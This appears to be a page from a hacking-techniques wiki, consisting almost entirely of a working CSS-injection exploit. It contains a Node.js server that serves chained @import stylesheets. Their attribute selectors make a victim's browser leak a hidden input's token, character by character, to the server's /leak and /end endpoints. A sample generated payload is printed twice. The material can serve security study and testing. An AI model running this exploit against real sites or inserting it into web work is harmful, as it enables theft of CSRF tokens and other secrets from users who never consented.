# CSS Injection Code {{#include ../../../banners/hacktricks-training.md}} ```html:victim.html

``` ```javascript:server.js const http = require("http") const url = require("url") // Port to exfiltrate to const port = 5001 // Host to exfiltrate to const HOSTNAME = "http://localhost:5001" const DEBUG = false var prefix = "", postfix = "" var pending = [] var stop = false, ready = 0, n = 0 const requestHandler = (request, response) => { let req = url.parse(request.url, url) log("\treq: %s", request.url) //If stop, leakeage is finished if (stop) return response.end() switch (req.pathname) { // This only launched when starting the leakeage case "/start": genResponse(response) break // Everytime something is leaked case "/leak": response.end() // If response comes with a pre, then we leaked some preffix s(E)cret if (req.query.pre && prefix !== req.query.pre) { prefix = req.query.pre // If response comes with a post, then we leaked some suffix secre(T) } else if (req.query.post && postfix !== req.query.post) { postfix = req.query.post } else { break } // Always a pre and a post response must arrived before responding the "next" @import (which is waiting for response) if (ready == 2) { genResponse(pending.shift()) ready = 0 } else { ready++ log("\tleak: waiting others...") } break // While waiting for a pre and a post, the next @import is waiting to be responded // by a new generated payload with another "pre" and "post" case "/next": if (ready == 2) { genResponse(respose) ready = 0 } else { pending.push(response) ready++ log("\tquery: waiting others...") } break // Called when the secret is leaked case "/end": stop = true console.log("[+] END: %s", req.query.token) default: response.end() } } const genResponse = (response) => { // Verbose output to know what do we know console.log("...pre-payoad: " + prefix) console.log("...post-payoad: " + postfix) // Payload generation, you have an example of what is generated below let css = "@import url(" + HOSTNAME + "/next?" + Math.random() + ");\n" + [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"] .map( (e) => 'input[value$="' + e + postfix + '"]{--e' + n + ":url(" + HOSTNAME + "/leak?post=" + e + postfix + ")}" ) .join("") + "div ".repeat(n) + "input{background:var(--e" + n + ")}" + [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"] .map( (e) => 'input[value^="' + prefix + e + '"]{--s' + n + ":url(" + HOSTNAME + "/leak?pre=" + prefix + e + ")}" ) .join("") + "div ".repeat(n) + "input{border-image:var(--s" + n + ")}" + "input[value=" + prefix + postfix + "]{list-style:url(" + HOSTNAME + "/end?token=" + prefix + postfix + "&)};" response.writeHead(200, { "Content-Type": "text/css" }) response.write(css) response.end() n++ } // Server listening const server = http.createServer(requestHandler) server.listen(port, (err) => { if (err) { return console.log("[-] Error: something bad happened", err) } console.log("[+] Server is listening on %d", port) }) function log() { if (DEBUG) console.log.apply(console, arguments) } /* HTTP/1.1 200 OK Content-Type: text/css Date: Fri, 01 Apr 2022 14:35:39 GMT Connection: close Content-Length: 2149 @import url(http://localhost:5001/next?0.7834603960990516); input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)} input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)} input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)} input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)} input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)} input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)} input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)} input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)} input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)} input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)} input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)} input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)} input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)} input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)} input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)} input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} input{background:var(--e0)} input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)} input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)} input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)} input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)} input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)} input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)} input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)} input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)} input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)} input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)} input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)} input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)} input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)} input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)} input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)} input{border-image:var(--s0)} input[value=]{list-style:url(http://localhost:5001/end?token=&)}; */ /* HTTP/1.1 200 OK Content-Type: text/css Date: Fri, 01 Apr 2022 14:35:39 GMT Connection: close Content-Length: 2149 @import url(http://localhost:5001/next?0.7834603960990516); input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)} input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)} input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)} input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)} input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)} input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)} input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)} input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)} input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)} input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)} input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)} input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)} input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)} input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)} input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)} input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} input{background:var(--e0)} input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)} input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)} input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)} input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)} input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)} input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)} input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)} input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)} input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)} input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)} input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)} input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)} input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)} input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)} input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)} input{border-image:var(--s0)} input[value=]{list-style:url(http://localhost:5001/end?token=&)}; */ ``` {{#include ../../../banners/hacktricks-training.md}}